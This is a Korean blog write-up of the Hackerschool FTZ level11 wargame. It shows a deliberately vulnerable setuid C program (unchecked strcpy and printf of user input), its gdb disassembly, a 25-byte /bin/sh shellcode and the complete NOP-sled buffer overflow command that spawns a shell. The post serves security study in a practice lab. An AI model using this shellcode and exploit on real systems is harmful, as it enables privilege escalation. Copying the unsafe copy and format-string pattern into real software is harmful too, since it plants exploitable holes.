사람마다 푸는 방식이 다를 수 있으니. 어려움에 있으실 때 참조만 하시고, 직접 풀어보시는 것 을 추천합니다.
이제 부터는, 버퍼오버플로우에 대한 내용이 많이 나옵니다.
제가 처음에 배울때 버퍼오버플로우에 대해 아주 적은 지식을 가지고 있어서, 추천받았던 자료가 있는데,
달고나 님의 BOF PDF 자료 입니다. 쭉 읽고 공부하신 뒤에 시작하시길 바랍니다.
level11 의 시작.
구동 환경 : Windows 7
서버 환경 : VMware WorkStation 10.0 Redhat9.0 hackerschool FTZ
사용 플램 : putty (퓨티)
login as : level11
password :
그리고 여태까지 늘 힌트를 찾았던 ls -al 명령어를 실행
attackme 가 존재하고, hint 파일이 존재한다.
힌트파일을 먼저 cat 명령어로 보고 시작하자.
[level11@ftz level11]$ cat hint
#include <stdio.h>
#include <stdlib.h>
int main( int argc, char *argv[] )
{
char str[256];
setreuid( 3092, 3092 );
strcpy( str, argv[1] );
printf( str );
}
Strcpy 의 취약점이 존재하신다는 것을 아실 수 있습니다.
str 크기는 256byte 를 할당해주네요.
그리고 attackme 를 실행보니, Segmentation fault 오류가 발생하는 것으로 보실 수 있습니다.
attackme 에 아무 문구나 넣어도, 그냥 그 입력한 값이 다시 텔을 하는 것을 보실 수 있습니당.
[level11@ftz level11]$ ./attackme
Segmentation fault
[level11@ftz level11]$ ./attackme 123
123
[level11@ftz level11]$
그렇다면 gdb로 내부를 들여다보겠습니다.
[level11@ftz level11]$ gdb attackme
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(gdb) disas main
Dump of assembler code for function main:
0x08048470 <main+0>: push %ebp
0x08048471 <main+1>: mov %esp,%ebp
0x08048473 <main+3>: sub $0x108,%esp
0x08048479 <main+9>: sub $0x8,%esp
0x0804847c <main+12>: push $0xc14
0x08048481 <main+17>: push $0xc14
0x08048486 <main+22>: call 0x804834c <setreuid>
0x0804848b <main+27>: add $0x10,%esp
0x0804848e <main+30>: sub $0x8,%esp
0x08048491 <main+33>: mov 0xc(%ebp),%eax
0x08048494 <main+36>: add $0x4,%eax
0x08048497 <main+39>: pushl (%eax)
0x08048499 <main+41>: lea 0xfffffef8(%ebp),%eax
0x0804849f <main+47>: push %eax
0x080484a0 <main+48>: call 0x804835c <strcpy>
0x080484a5 <main+53>: add $0x10,%esp
0x080484a8 <main+56>: sub $0xc,%esp
0x080484ab <main+59>: lea 0xfffffef8(%ebp),%eax
0x080484b1 <main+65>: push %eax
0x080484b2 <main+66>: call 0x804833c <printf>
0x080484b7 <main+71>: add $0x10,%esp
0x080484ba <main+74>: leave
0x080484bb <main+75>: ret
0x080484bc <main+76>: nop
0x080484bd <main+77>: nop
0x080484be <main+78>: nop
---Type <return> to continue, or q <return> to quit---
0x080484bf <main+79>: nop
End of assembler dump.
0x108을 10진수로 변환시키면 264 라는 숫자가 나오는데,
264라는 숫자 속에는 str의 256byte와 dummy 8byte가 저장되어있다.
메모리구조는 아래와 같다.
[ BUFFER(256 byte) + dummy(8 byte) + SFP(4 byte) + RET(4 byte) ] = 272 byte
달고나님의 문서에서 보면, 25바이트 쉘코드를 사용 할 것이다.
● 25바이트 쉘코드
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
쉘코드가 25바이트 이므로, RET을 제외한 byte 인 268 에서 25 byte 쉘코드를 빼준다. 빼주면, 243 byte 가 남는다.
243 byte 에 \x90(NOP) 값을 덮고 쉘코드를 덮은 뒤, RET의 주소를 찾아보겠습니다.
(gdb) r `python -c 'print "\x90"*243+"A"*25+"\x90\x90\x90\x90"'`
gdb 명령어인 r으로 python -c 실행을 한뒤에 메모리 구조를 확인해보면,
(gdb) x/268x $esp
0xbffffb50: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb60: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb70: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb80: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb90: 0x90909090 0x90909090 0x90909090 0x90909090
RET 의 주소를 0xbffffb50 으로 잡고 공격을 해보도록 하겠습니다.
[level11@ftz level11]$ ./attackme `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x50\xfb\xff\xbf"'`
공격해보니, 성공적으로 버퍼오버플로우가 일어난 것을 보실 수 있습니다.
[level11@ftz level11]$ ./attackme `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x50\xfb\xff\xbf"'`
sh-2.05b$ my-pass
TERM environment variable not set.
Level12 Password is ~~~~~~~~~~~
sh-2.05b$
level11도 끝이 났다. 버퍼오버플로우 문제였는데 11번부터 엄청나게 어려움을 겪었다.
처음엔 어려워도 나중에 하면 할수록 쉬워질 것이라고 생각한다.
'정보보안 카테고리 > hackschool FTZ' 카테고리의 다른 글
hackerschool FTZ : level10 풀이 (1) | 2013.10.03 |
---|---|
hackerschool FTZ : level9 풀이 (0) | 2013.10.03 |
hackerschool FTZ : level8 풀이 (0) | 2013.10.02 |
hackerschool FTZ : level7 풀이 (0) | 2013.10.02 |
hackerschool FTZ : level6 풀이 (0) | 2013.10.01 |